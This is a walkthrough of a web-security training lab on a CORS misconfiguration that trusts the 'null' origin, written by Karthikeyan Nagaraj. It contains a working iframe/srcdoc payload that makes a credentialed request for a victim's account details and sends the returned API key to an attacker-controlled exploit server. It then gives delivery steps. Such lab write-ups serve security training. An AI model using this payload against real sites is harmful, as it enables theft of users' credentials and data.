23.1 Lab: CORS vulnerability with trusted null origin | 2023
This website has an insecure CORS configuration in that it trusts the “null” origin.To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator’s API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator’s API key | Karthikeyan Nagaraj
Description
This website has an insecure CORS configuration in that it trusts the “null” origin.
To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator’s API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator’s API key.
You can log in to your own account using the following credentials: wiener:peter
Solution
- Go to the exploit server and enter the following HTML, replacing
YOUR-LAB-ID
with the URL for your unique lab URL andYOUR-EXPLOIT-SERVER-ID
with the exploit server ID in the body section
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
2. Click Store and Click view Exploit to View
3. Then Click, Deliver to Victim
4. After some time Click on the Access log and you will get the API key of the Victim
5. Copy and Paste the API Key and Paste it in the submit solution to solve the lab
If you would like to support me so that I can create more free content — https://www.buymeacoffee.com/cyberw1ng
Thank you for Reading!
Happy Hacking ~
Author: Karthikeyan Nagaraj ~ Cyberw1ng
Telegram Channel for Ethical Hacking Dumps — https://t.me/ethicalhackingessentials